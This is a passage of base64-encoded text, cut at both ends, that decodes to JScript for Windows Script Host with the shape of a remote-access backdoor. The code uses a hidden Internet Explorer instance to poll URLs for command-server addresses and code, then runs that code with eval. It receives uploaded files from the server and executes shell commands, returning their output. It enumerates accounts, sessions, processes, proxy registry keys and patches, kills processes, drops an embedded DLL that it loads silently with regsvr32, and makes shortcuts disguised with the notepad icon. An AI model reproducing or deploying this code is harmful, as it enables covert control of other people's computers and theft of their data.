zZVVwRmlsZToNCgkJCQlhcmdBcnIgPSBkYXRhLnNwbGl0KHRoaXMuc3BsaXRDaGFyKTsNCgkJCQlpZihhcmdBcnIubGVuZ3RoPT0yKXsNCgkJCQkJdXBQYXRoID0gYXJnQXJyWzBdOw0KCQkJCQl1cERhdGEgPSBhcmdBcnJbMV07DQoJCQkJCXNpemUgPSB0aGlzLmJhc2U2NFRvRmlsZSh1cFBhdGgsIHVwRGF0YSk7DQoJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xuJyArIHVwUGF0aCArICdcbicgKyBzaXplICsgJ1xuVXBsb2FkIE9LIScpOw0KCQkJCX1lbHNlIGlmKGFyZ0Fyci5sZW5ndGg9PTQpew0KCQkJCQl0cnl7DQoJCQkJCQlXU2NyaXB0LkNoZWNrVXBBbmREb3duKCk7DQoJCQkJCQl0aGlzLnVwRmlsZSA9IGFyZ0FyclswXTsNCgkJCQkJCWFjY2Vzc1RvV3JpdGUgPSB0cnVlOw0KCQkJCQkJdHJ5e2ZUZXN0PXRoaXMub0ZTLkNyZWF0ZVRleHRGaWxlKHRoaXMudXBGaWxlLCB0cnVlKTtmVGVzdC5DbG9zZSgpO31jYXRjaChlKXthY2Nlc3NUb1dyaXRlPWZhbHNlO30NCgkJCQkJCWlmKGFjY2Vzc1RvV3JpdGUpew0KCQkJCQkJCXRoaXMudXBTaXplID0gYXJnQXJyWzFdOw0KCQkJCQkJCXRoaXMudXBPbmNlID0gYXJnQXJyWzJdOw0KCQkJCQkJCXRoaXMudXBDb3VudCA9IGFyZ0FyclszXTsNCgkJCQkJCQl0aGlzLnVwSW5kZXggPSAwOw0KCQkJCQkJCXRoaXMudXBPayA9IGZhbHNlOw0KCQkJCQkJCXRoaXMudXBTdGFydCA9IHRoaXMubm93KCk7DQoJCQkJCQkJdGhpcy51cEVuZCA9ICcnOw0KCQkJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xudXBGaWxlPScgKyB0aGlzLnVwRmlsZSArICdcbnVwU2l6ZT0nICt0aGlzLnVwU2l6ZSANCgkJCQkJCQkJKyAnXG51cE9uY2U9JyArIHRoaXMudXBPbmNlICsgJ1xudXBDb3VudD0nICt0aGlzLnVwQ291bnQgKyAnXG5VcFJlcSBSZWN2ZWQhJyk7DQoJCQkJCQl9ZWxzZXsNCgkJCQkJCQlyZXR1cm4gdGhpcy5lbmNvZGUodGhpcy5jYXNlVXBGaWxlICsgdGhpcy5ub3coKSArICdcbnVwRmlsZT0nICsgdGhpcy51cEZpbGUgKyAnXG5Ob0FjY2Vzc1RvV3JpdGUhJyk7DQoJCQkJCQl9DQoJCQkJCX1jYXRjaChlKXsNCgkJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xuJyArICdVcGxvYWQgQmlnRmlsZSBOb3QgU3VwcG9ydGVkIScpOw0KCQkJCQl9DQoJCQkJfWVsc2V7DQoJCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VVcEZpbGUgKyB0aGlzLm5vdygpICsgJ1xuJyArICdVcEFyZyBFcnIhJyk7DQoJCQkJfQ0KCQkJY2FzZSB0aGlzLmNhc2VDb2RlOg0KCQkJCXJldD0nJzsNCgkJCQl0cnl7d2l0aChvcnope2V2YWwoZGF0YSk7fX1jYXRjaChlcnIpe3JldD10aGlzLmVyck9ialRvU3RyKGVycik7fQ0KCQkJCXJldHVybiB0aGlzLmVuY29kZSh0aGlzLmNhc2VDb2RlICsgdGhpcy5ub3coKSArICdcbicgKyByZXQpOw0KCQkJZGVmYXVsdDoNCgkJCQlyZXR1cm4gdGhpcy5lbmNvZGUodGhpcy5jYXNlRXhlY0NtZCArIHRoaXMubm93KCkgKyAnXG4nICsgJ3Vua25vd24gY2FzZTogJytjYXNlU3RyKydcbicrdG1wKTsNCgkJfQ0KCX0sDQoJDQoJZ2V0Q29uZmlnOmZ1bmN0aW9uKCl7DQoJCXdvcmtJRSA9IHRoaXMub0lFOw0KCQlmb3IodmFyIGkgaW4gdGhpcy5qbXBVcmxMaXN0KXsNCgkJCW9rID0gZmFsc2U7DQoJCQl0aGlzLmptcFVybCA9IHRoaXMuam1wVXJsTGlzdFtpXTsNCgkJCXRoaXMubmF2aWdhdGVJRSh3b3JrSUUsIHRoaXMuam1wVXJsKTsNCgkJCQ0KCQkJam1wUmVzID0gdGhpcy5qbXBSZWdleC5leGVjKHdvcmtJRS5Eb2N1bWVudC5kb2N1bWVudEVsZW1lbnQub3V0ZXJIVE1MKTsNCgkJCWlmKGptcFJlcyl7DQoJCQkJdGhpcy5kc3RVcmwgPSB0aGlzLmRlY29kZShqbXBSZXNbMV0pOw0KCQkJCW9rID0gdHJ1ZTsNCgkJCX0NCgkJCWNvZGVSZXMgPSB0aGlzLmNvZGVSZWdleC5leGVjKHdvcmtJRS5Eb2N1bWVudC5kb2N1bWVudEVsZW1lbnQub3V0ZXJIVE1MKTsNCgkJCWlmKGNvZGVSZXMpew0KCQkJCXRoaXMuaW5pdENvZGUgPSB0aGlzLmRlY29kZShjb2RlUmVzWzFdKTsNCgkJCQlvayA9IHRydWU7DQoJCQl9DQoJCQlpZihvayl7YnJlYWs7fQ0KCQkJV1NjcmlwdC5TbGVlcCgzMDAwKTsNCgkJfQ0KCX0sDQoJDQoJc2V0V29ya0ZsYWc6ZnVuY3Rpb24oZmxhZyl7DQoJCXZhciB3b3JrRmxhZyA9IHRoaXMub0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMud29ya0ZsYWdJZCk7DQoJCWlmKHdvcmtGbGFnKXsNCgkJCXdvcmtGbGFnLmlubmVyVGV4dCA9IGZsYWc7DQoJCX0NCgl9LA0KCQ0KCXRyeUF1dGg6ZnVuY3Rpb24oKXsNCgkJd29ya0lFID0gdGhpcy5vSUU7DQoJCXRoaXMubmF2aWdhdGVJRSh3b3JrSUUsIHRoaXMuZHN0VXJsKTsNCgkJdmFyIGxvZ2luRm9ybSA9IHdvcmtJRS5Eb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0aGlzLmxvZ2luRm9ybUlkKTsNCgkJdmFyIHVzZXJuYW1lID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMudUlkKTsNCgkJdmFyIHBhc3N3b3JkID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMucElkKTsNCgkJdmFyIHZhbGljb2RlID0gd29ya0lFLkRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRoaXMudklkKTsNCgkJdmFyIHN1Ym1pdCA9IHdvcmtJRS5Eb2N1bWVudC5nZXRFbGVtZW50QnlJZCh0aGlzLnNJZCk7DQoJCWlmKCFsb2dpbkZvcm0gfHwgIXVzZXJuYW1lIHx8ICFwYXNzd29yZCB8fCAhdmFsaWNvZGUgfHwgIXN1Ym1pdCl7DQoJCQlyZXR1cm47DQoJCX0NCgkJbG9naW5Gb3JtLmFjdGlvbiA9IHRoaXMubG9naW5BY3Rpb247DQoJCXVzZXJuYW1lLm5hbWUgPSB0aGlzLnVOYW1lOw0KCQl1c2VybmFtZS52YWx1ZSA9IHRoaXMuaWQ7DQoJCXBhc3N3b3JkLm5hbWUgPSB0aGlzLnBOYW1lOw0KCQlwYXNzd29yZC52YWx1ZSA9IHRoaXMuaWQuc3BsaXQoIiIpLnJldmVyc2UoKS5qb2luKCIiKTsNCgkJdmFsaWNvZGUubmFtZSA9IHRoaXMudk5hbWU7DQoJCXZhbGljb2RlLnZhbHVlID0gdGhpcy52YWxpY29kZTsNCgkJc3VibWl0LmNsaWNrKCk7DQoJCS8qTk9TbGVlcCovDQoJCXRoaXMubmF2aWdhdGVJRSh3b3JrSUUsIHRoaXMuZHN0VXJsKTsNCgl9LA0KCQ0KCWNyZWF0ZUlFOmZ1bmN0aW9uKHVybCl7DQoJCXZhciBpZSA9IG51bGw7DQoJCWZvcig7Oyl7DQoJCQl0cnl7DQoJCQkJaWUgPSBuZXcgQWN0aXZlWE9iamVjdCgnSW50ZXJuZXRFeHBsb3Jlci5BcHBsaWNhdGlvbicpOw0KCQkJCWllLlZpc2libGUgPSB0aGlzLmJEZWJ1ZzsNCgkJCQlpZS5TaWxlbnQgPSB0cnVlOw0KCQkJCQ0KCQkJCXJlYWxVcmwgPSB1cmw/dXJsOnRoaXMuaW5pdFVybA0KCQkJCXRoaXMubmF2aWdhdGVJRShpZSwgcmVhbFVybCk7CQkJCQ0KCQkJCWJyZWFrOw0KCQkJfWNhdGNoKGVycil7V1NjcmlwdC5TbGVlcCgxMDAwKTt9DQoJCX0NCgkJcmV0dXJuIGllOw0KCX0sDQoJDQoJZnJlc2hJRTpmdW5jdGlvbihpZSl7DQoJCXZhciBSRUZSRVNIX0NPTVBMRVRFTFkgPSAzOw0KCQlpZS5SZWZyZXNoMihSRUZSRVNIX0NPTVBMRVRFTFkpOw0KCQl0aGlzLndhaXRJRShpZSk7DQoJfSwNCgkNCgluYXZpZ2F0ZUlFOmZ1bmN0aW9uKGllLCB1cmwpew0KCQl2YXIgaTsNCgkJZm9yKGk9MDtpPDM7KytpKXsNCgkJCXRyeXsNCgkJCQluYXZOb0hpc3RvcnkgPSAweDI7DQoJCQkJaWUuTmF2aWdhdGUodXJsLCBuYXZOb0hpc3RvcnksICJfc2VsZiIpOw0KCQkJCXRoaXMud2FpdElFKGllKTsNCgkJCQlicmVhazsNCgkJCX1jYXRjaChlcnIpe1dTY3JpcHQuU2xlZXAoNTAwKTt9DQoJCX0NCgkJcmV0dXJuIGkhPTM7DQoJfSwNCgkNCgl3YWl0SUU6ZnVuY3Rpb24oaWUpew0KCQl0cnl7DQoJCQlXU2NyaXB0LlNsZWVwKDEwMCk7DQoJCQl3aGlsZShpZS5SZWFkeVN0YXRlIT00IHx8IGllLkJ1c3kgfHwgIWllLkRvY3VtZW50KXtXU2NyaXB0LlNsZWVwKDEwKTt9DQoJCX1jYXRjaChlcnIpe30NCgl9LA0KCQ0KCS8qKioqKioqKioqKioqKioqKioqKiBGdW5jICoqKioqKioqKioqKioqKioqKioqLw0KCXFTZXNzaW9uOmZ1bmN0aW9uKCl7DQoJCXJlcyA9ICcnOw0KCQllID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCdTZWxlY3QgKiBGcm9tIFdpbjMyX1Nlc3Npb24nKSk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyFlLmF0RW5kKCk7ZS5tb3ZlTmV4dCgpKXsNCgkJCXMgPSBlLml0ZW0oKTsNCgkJCXJlcyArPSBzLk5hbWUrJyAnK3MuQ2FwdGlvbisnICcrcy5EZXNjcmlwdGlvbisnICcrcy5Mb2dvblR5cGUudG9TdHJpbmcoKSsnXG4nOw0KCQl9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglnZXRBbGxVc2VyU2lkOmZ1bmN0aW9uKCl7DQoJCXJlcyA9ICcnOw0KCQlxdWVyeVN0ciA9ICdTZWxlY3QgKiBGcm9tIFdpbjMyX0FjY291bnQgd2hlcmUgU0lEVHlwZT0xIGFuZCBMb2NhbEFjY291bnQ9VFJVRSc7DQoJCWUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkocXVlcnlTdHIpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7IWUuYXRFbmQoKTtlLm1vdmVOZXh0KCkpew0KCQkJYWNjID0gZS5pdGVtKCk7DQoJCQlyZXMgKz0gYWNjLkRvbWFpbisnXFwnK2FjYy5OYW1lKyd8JythY2MuU0lEKyd8JythY2MuRGVzY3JpcHRpb24rJ1xuJzsNCgkJfQ0KCQlyZXR1cm4gcmVzOw0KCX0sDQoJcHJveHk6ZnVuY3Rpb24oKXsNCgkJbGluZXMgPSB0aGlzLmdldEFsbFVzZXJTaWQoKS5zcGxpdCgnXG4nKTsNCgkJcmVzID0gJyc7DQoJCWZvcih2YXIgaSBpbiBsaW5lcyl7DQoJCQlpZighbGluZXNbaV0ubGVuZ3RoKWNvbnRpbnVlOw0KCQkJaW5mbyA9IGxpbmVzW2ldLnNwbGl0KCd8Jyk7DQoJCQljb21tZW50ID0gaW5mb1swXSsnICcraW5mb1syXTsNCgkJCXJlcyArPSAnWycraSsnXSAnICsgY29tbWVudCArICdcbic7DQoJCQlzaWQgPSBpbmZvWzFdDQoJCQl0cnl7DQoJCQkJcmVzICs9ICdQcm94eUVuYWJsZT0nK3RoaXMub1NoZWxsLlJlZ1JlYWQoJ0hLRVlfVVNFUlNcXCcrc2lkKydcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxJbnRlcm5ldCBTZXR0aW5nc1xcUHJveHlFbmFibGUnKTsNCgkJCQlyZXMgKz0gJ1xuJzsNCgkJCQlyZXMgKz0gJ1Byb3h5U2VydmVyPScrdGhpcy5vU2hlbGwuUmVnUmVhZCgnSEtFWV9VU0VSU1xcJytzaWQrJ1xcU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXEludGVybmV0IFNldHRpbmdzXFxQcm94eVNlcnZlcicpOw0KCQkJCXJlcyArPSAnXG4nOw0KCQkJfWNhdGNoKGUpe30NCgkJCXJlcyArPSAnXG4nOw0KCQl9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglwTGlzdDpmdW5jdGlvbigpew0KCQlyZXMgPSAnJzsNCgkJcHJvY0xpc3QgPSBbXTsNCgkJYmFuZGVyTGlzdCA9IFsnTmFtZScsJ1Byb2Nlc3NJZCcsJ1Nlc3Npb25JZCcsJ2NvbW1hbmRsaW5lJ107DQoJCXNwbGl0Q2hhciA9ICcgJzsNCgkJbWF4TGVuTGlzdCA9IFtdOw0KCQl2YXIgZSA9IG5ldyBFbnVtZXJhdG9yKHRoaXMub0NpbXYyLkV4ZWNRdWVyeSgnc2VsZWN0ICogZnJvbSBXaW4zMl9Qcm9jZXNzJykpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCXByb2MgPSBlLml0ZW0oKTsNCgkJCXByb2NMaXN0LnB1c2gocHJvYyk7DQoJCX0NCgkJZm9yKGkgaW4gYmFuZGVyTGlzdCl7DQoJCQliYW5kZXIgPSBiYW5kZXJMaXN0W2ldOw0KCQkJbWF4TGVuID0gYmFuZGVyLmxlbmd0aCArIDI7DQoJCQlmb3IoaiBpbiBwcm9jTGlzdCl7DQoJCQkJcHJvYyA9IHByb2NMaXN0W2pdOw0KCQkJCXByb3BlcnR5ID0gcHJvYy5Qcm9wZXJ0aWVzXy5pdGVtKGJhbmRlcikgKyAnICc7DQoJCQkJbGVuID0gcHJvcGVydHkubGVuZ3RoOw0KCQkJCWlmKGxlbj5tYXhMZW4pbWF4TGVuPWxlbjsNCgkJCX0NCgkJCW1heExlbkxpc3RbaV0gPSBtYXhMZW47DQoJCX0NCgkJDQoJCWZvcihpIGluIGJhbmRlckxpc3Qpew0KCQkJZWxlID0gYmFuZGVyTGlzdFtpXTsNCgkJCXJlcyArPSBlbGU7DQoJCQlpZihpPGJhbmRlckxpc3QubGVuZ3RoLTEpZm9yKGo9ZWxlLmxlbmd0aDtqPG1heExlbkxpc3RbaV07KytqKXJlcys9c3BsaXRDaGFyOw0KCQl9DQoJCXJlcys9J1xuJzsNCgkJZm9yKGkgaW4gcHJvY0xpc3Qpew0KCQkJcHJvYyA9IHByb2NMaXN0W2ldOw0KCQkJZm9yKGogaW4gYmFuZGVyTGlzdCl7DQoJCQkJZWxlID0gcHJvYy5Qcm9wZXJ0aWVzXy5pdGVtKGJhbmRlckxpc3Rbal0pICsgJyAnOw0KCQkJCXJlcyArPSBlbGU7DQoJCQkJaWYoajxiYW5kZXJMaXN0Lmxlbmd0aC0xKWZvcihrPWVsZS5sZW5ndGg7azxtYXhMZW5MaXN0W2pdOysraylyZXMrPXNwbGl0Q2hhcjsNCgkJCX0NCgkJCXJlcys9J1xuJzsNCgkJfQ0KCQlyZXR1cm4gcmVzOw0KCX0sDQoJDQoJaW5BcnJheTpmdW5jdGlvbihhcnIsIGl0ZW0pew0KCQlmb3IoaT0wO2k8YXJyLmxlbmd0aDsrK2kpew0KCQkJaWYoYXJyW2ldLnRvTG93ZXJDYXNlKCk9PWl0ZW0udG9Mb3dlckNhc2UoKSlicmVhazsNCgkJfQ0KCQlyZXR1cm4gaTxhcnIubGVuZ3RoOw0KCX0sDQoJcEluZm86ZnVuY3Rpb24ocGlkLCBxdWVyeSl7DQoJCWlmKHF1ZXJ5IT1udWxsKXsNCgkJCXF1ZXJ5ID0gcXVlcnkucmVwbGFjZSgvXHMvZywgJycpOw0KCQkJcXVlcnlBcnJheSA9IHF1ZXJ5LnNwbGl0KCcsJyk7DQoJCX0NCgkJcmVzID0gJ1BJRD0nICsgcGlkLnRvU3RyaW5nKCkrJ1xuJzsNCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoJ3NlbGVjdCAqIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQcm9jZXNzSWQ9JyArIHBpZC50b1N0cmluZygpKSk7DQoJCWZvcihlLm1vdmVGaXJzdCgpOyAhZS5hdEVuZCgpOyBlLm1vdmVOZXh0KCkpew0KCQkJcHJvYyA9IGUuaXRlbSgpOw0KCQkJbWV0aG9kID0gcHJvYy5NZXRob2RzXy5JdGVtKCdHZXRPd25lcicpOw0KCQkJb3V0UGFyYW1zID0gcHJvYy5FeGVjTWV0aG9kXyhtZXRob2QuTmFtZSwgbnVsbCk7DQoJCQlyZXMgKz0gJ093bmVyID0gJyArIG91dFBhcmFtcy5Vc2VyKydcXCcrb3V0UGFyYW1zLkRvbWFpbiArICdcbic7DQoJCQl2YXIgcGUgPSBuZXcgRW51bWVyYXRvcihwcm9jLlByb3BlcnRpZXNfKTsNCgkJCWZvcihwZS5tb3ZlRmlyc3QoKTsgIXBlLmF0RW5kKCk7IHBlLm1vdmVOZXh0KCkpew0KCQkJCXByb3BlcnR5ID0gcGUuaXRlbSgpOw0KCQkJCWlmKHF1ZXJ5IT1udWxsICYmICF0aGlzLmluQXJyYXkocXVlcnlBcnJheSxwcm9wZXJ0eS5OYW1lKSl7DQoJCQkJCWNvbnRpbnVlOw0KCQkJCX0NCgkJCQlpZihwcm9wZXJ0eS5WYWx1ZSE9bnVsbCl7DQoJCQkJCXJlcyArPSBwcm9wZXJ0eS5OYW1lICsgJyA9ICcgKyBwcm9wZXJ0eS5WYWx1ZS50b1N0cmluZygpICsgJ1xuJzsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCQ0KCV9wVHJlZTpmdW5jdGlvbihwaWQsIGxldmVsKXsNCgkJcmVzID0gJyc7DQoJCXZhciBlID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCdzZWxlY3QgKiBmcm9tIFdpbjMyX1Byb2Nlc3Mgd2hlcmUgUHJvY2Vzc0lkPScrcGlkLnRvU3RyaW5nKCkpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7ICFlLmF0RW5kKCk7IGUubW92ZU5leHQoKSl7DQoJCQlwcm9jID0gZS5pdGVtKCk7DQoJCQlmb3IoaT0wO2k8bGV2ZWw7KytpKXtyZXMgKz0gJ1x0J30NCgkJCXJlcyArPSBwcm9jLk5hbWUgKyAnICcgKyBwcm9jLlByb2Nlc3NJZCArICdcbic7DQoJCX0NCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoJ3NlbGVjdCAqIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQYXJlbnRQcm9jZXNzSWQ9JytwaWQudG9TdHJpbmcoKSkpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCXByb2MgPSBlLml0ZW0oKTsNCgkJCXJlcyArPSB0aGlzLl9wVHJlZShwcm9jLlByb2Nlc3NJZCwgbGV2ZWwrMSk7DQoJCX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCXBUcmVlOmZ1bmN0aW9uKHBpZCl7DQoJCXJldHVybiB0aGlzLl9wVHJlZShwaWQsIDApOw0KCX0sDQoJDQoJcEtpbGw6ZnVuY3Rpb24ocGlkKXsNCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoJ3NlbGVjdCAqIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQcm9jZXNzSWQ9JytwaWQudG9TdHJpbmcoKSkpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCWUuaXRlbSgpLlRlcm1pbmF0ZSgpOw0KCQl9DQoJCXJldHVybiBwaWQrJyB0ZXJtaW5hdGVkJzsNCgl9LA0KCXBLaWxsVHJlZTpmdW5jdGlvbihwaWQpew0KCQl0aGlzLnBLaWxsKHBpZCk7DQoJCXZhciBlID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCdzZWxlY3QgKiBmcm9tIFdpbjMyX1Byb2Nlc3Mgd2hlcmUgUGFyZW50UHJvY2Vzc0lkPScrcGlkLnRvU3RyaW5nKCkpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7ICFlLmF0RW5kKCk7IGUubW92ZU5leHQoKSl7DQoJCQl0aGlzLnBLaWxsVHJlZShlLml0ZW0oKS5Qcm9jZXNzSWQpOw0KCQl9DQoJfSwNCgkNCglyYW5kU3RyOmZ1bmN0aW9uKGxlbil7DQoJCXJlcyA9ICcnOw0KCQl0YWJsZSA9ICdBQkNERUZHSEpLTU5QUVJTVFdYWVphYmNkZWZoaWprbW5wcnN0d3h5ejIzNDU2NzgnOw0KCQlmb3IoaT0wOyBpPGxlbjsgaSsrKXsNCgkJCXJlcyArPSB0YWJsZS5jaGFyQXQoTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogdGFibGUubGVuZ3RoKSk7DQoJCX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCW1vY2tSdW46ZnVuY3Rpb24ocmVhbCwgYXJncywgdGltZW91dCwgbW9jayl7DQoJCXJlYWxUaW1lT3V0ID0gNTsNCgkJaWYodGltZW91dCE9bnVsbClyZWFsVGltZU91dD10aW1lb3V0Ow0KCQlpZihtb2NrPT1udWxsKW1vY2s9J3JlZ3N2cjMyJzsNCgkJDQoJCW1vY2tEbGxOYW1lID0gJ34uJyArIHRoaXMucmFuZFN0cigxNik7DQoJCW1vY2tEbGxQYXRoID0gdGhpcy50bXBEaXIgKyAnXFwnICsgbW9ja0RsbE5hbWUgKyAnLmRsbCc7DQoJCW1vY2tJbmlQYXRoID0gdGhpcy50bXBEaXIgKyAnXFwnICsgbW9ja0RsbE5hbWUgKyAnLmluaSc7DQoJCW1vY2tPdXRQYXRoID0gdGhpcy50bXBEaXIgKyAnXFwnICsgbW9ja0RsbE5hbWUgKyAnLm91dCc7DQoJCWlmKHRoaXMub3NCaXQ9PSczMicpew0KCQkJdGhpcy5iYXNlNjRUb0ZpbGUobW9ja0RsbFBhdGgsIHRoaXMuQmFzZTY0X01vY2tEbGwzMik7DQoJCX1lbHNlIGlmKHRoaXMub3NCaXQ9PSc2NCcpew0KCQkJdGhpcy5iYXNlNjRUb0ZpbGUobW9ja0RsbFBhdGgsIHRoaXMuQmFzZTY0X01vY2tEbGw2NCk7DQoJCX1lbHNle3JldHVybiAndW5rbm93biBvc0JpdCc7fQ0KCQlpbmlGaWxlID0gdGhpcy5vRlMuQ3JlYXRlVGV4dEZpbGUobW9ja0luaVBhdGgsIHRydWUpOw0KCQlpbmlGaWxlLldyaXRlTGluZSgnW2NmZ10nKTsNCgkJaW5pRmlsZS5Xcml0ZUxpbmUoJ21vY2s9IicrIG1vY2sgKyciJyk7DQoJCWluaUZpbGUuV3JpdGVMaW5lKCdyZWFsPSInKyByZWFsICsnIicpOw0KCQlpbmlGaWxlLldyaXRlTGluZSgnYXJncz0nICsgYXJncyk7DQoJCWluaUZpbGUuV3JpdGVMaW5lKCdvdXRmPSInICsgbW9ja091dFBhdGggKyciJyk7DQoJCWlmKHJlYWxUaW1lT3V0PjApaW5pRmlsZS5Xcml0ZUxpbmUoJ3RpbWU9JyArIHJlYWxUaW1lT3V0KTsNCgkJaW5pRmlsZS5DbG9zZSgpOw0KCQl0aGlzLm9TaGVsbC5SdW4oJ3JlZ3N2cjMyIC9zICInK21vY2tEbGxQYXRoKyciJywgMCwgcmVhbFRpbWVPdXQ+MCk7DQoJCWlmKHJlYWxUaW1lT3V0PDEpV1NjcmlwdC5TbGVlcCgxMDAwKTsNCgkJcmVzPSdyZWFkIG91dEZpbGUgJyttb2NrT3V0UGF0aCsnIGZhaWxlZCc7DQoJCXRyeXsNCgkJCUZvclJlYWRpbmcgPSAxOw0KCQkJb3V0RmlsZSA9IHRoaXMub0ZTLk9wZW5UZXh0RmlsZShtb2NrT3V0UGF0aCwgRm9yUmVhZGluZyk7DQoJCQlyZXMgPSBvdXRGaWxlLlJlYWRBbGwoKTsNCgkJCW91dEZpbGUuQ2xvc2UoKTsNCgkJCXRyeXt0aGlzLm9GUy5EZWxldGVGaWxlKG1vY2tEbGxQYXRoKTt9Y2F0Y2goZXJyKXt9DQoJCQl0cnl7dGhpcy5vRlMuRGVsZXRlRmlsZShtb2NrSW5pUGF0aCk7fWNhdGNoKGVycil7fQ0KCQkJaWYocmVhbFRpbWVPdXQ+MCl0cnl7dGhpcy5vRlMuRGVsZXRlRmlsZShtb2NrT3V0UGF0aCk7fWNhdGNoKGVycil7fQ0KCQl9Y2F0Y2goZXJyKXt9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglydW46ZnVuY3Rpb24oY21kbGluZSwgc2hvdyl7DQoJCXJlYWxTaG93ID0gMDsNCgkJaWYoc2hvdylyZWFsU2hvdyA9IHNob3c7DQoJCXJldHVybiB0aGlzLm9TaGVsbC5SdW4oY21kbGluZSwgcmVhbFNob3csIGZhbHNlKTsNCgl9LA0KCQ0KCWV4ZWM6ZnVuY3Rpb24oY21kbGluZSwgdGltZW91dCl7DQoJCXJlcyA9ICcnOw0KCQlyZWFsU2VjID0gMzsNCgkJaWYodGltZW91dCE9bnVsbCl7cmVhbFNlYz10aW1lb3V0O30NCgkJd2FpdFRpbWUgPSByZWFsU2VjKjEwOw0KCQlXc2hSdW5uaW5nID0gMDsNCgkJV3NoRmluaXNoZWQgPSAxOw0KCQl0cnl7DQoJCQlvRXhlYyA9IHRoaXMub1NoZWxsLkV4ZWMoY21kbGluZSk7DQoJCQlpZih3YWl0VGltZTw9MCl7DQoJCQkJcmV0dXJuICdQcm9jZXNzSUQ9JytvRXhlYy5Qcm9jZXNzSUQrJyx0aW1lb3V0PD0wJzsNCgkJCX0NCgkJCWRvew0KCQkJCWlmKG9FeGVjLnN0YXR1cz09V3NoRmluaXNoZWQpYnJlYWs7DQoJCQkJV1NjcmlwdC5TbGVlcCgxMDApOw0KCQkJfXdoaWxlKHdhaXRUaW1lLS0pOw0KCQkJaWYob0V4ZWMuc3RhdHVzPT1Xc2hSdW5uaW5nKXsNCgkJCQlvRXhlYy5UZXJtaW5hdGUoKTsNCgkJCX0NCgkJCXJlcyArPSAnUHJvY2Vzc0lEPScrb0V4ZWMuUHJvY2Vzc0lEKycsdGltZW91dD0nK3RpbWVvdXQrJyxFeGl0Q29kZT0nK29FeGVjLkV4aXRDb2RlKydcclxuJzsNCgkJCWlmKCFvRXhlYy5TdGRPdXQuQXRFbmRPZlN0cmVhbSlyZXMrPW9FeGVjLlN0ZE91dC5yZWFkQWxsKCk7DQoJCQlpZighb0V4ZWMuU3RkRXJyLkF0RW5kT2ZTdHJlYW0pcmVzKz1vRXhlYy5TdGRFcnIucmVhZEFsbCgpOw0KCQl9Y2F0Y2goZXJyKXtyZXMrPXRoaXMuZXJyT2JqVG9TdHIoZXJyKTt9DQoJCXJldHVybiAgcmVzOw0KCX0sDQoJDQoJbWtzYzpmdW5jdGlvbihwYXRoLCB0YXJnZXQsIGFyZ3Mpew0KCQl2YXIgbGluayA9IHRoaXMub1NoZWxsLkNyZWF0ZVNob3J0Y3V0KHBhdGgpOw0KCQlNaW5pbWl6ZWQgPSA3Ow0KCQlsaW5rLlRhcmdldFBhdGggPSB0YXJnZXQ7DQoJCWxpbmsuQXJndW1lbnRzID0gYXJnczsNCgkJbGluay5XaW5kb3dTdHlsZSA9IE1pbmltaXplZDsNCgkJbGluay5JY29uTG9jYXRpb24gPSAnbm90ZXBhZC5leGUsIDAnOw0KCQlsaW5rLlNhdmUoKTsNCgkJcmV0dXJuICdkb25lJzsNCgl9LA0KCQ0KCWtiOmZ1bmN0aW9uKCl7DQoJCXZhciByZXMgPSAnJzsNCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoIlNFTEVDVCAqIEZST00gV2luMzJfUXVpY2tGaXhFbmdpbmVlcmluZyIpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7ICFlLmF0RW5kKCk7IGUubW92ZU5leHQoKSl7DQoJCQl2YXIgb2J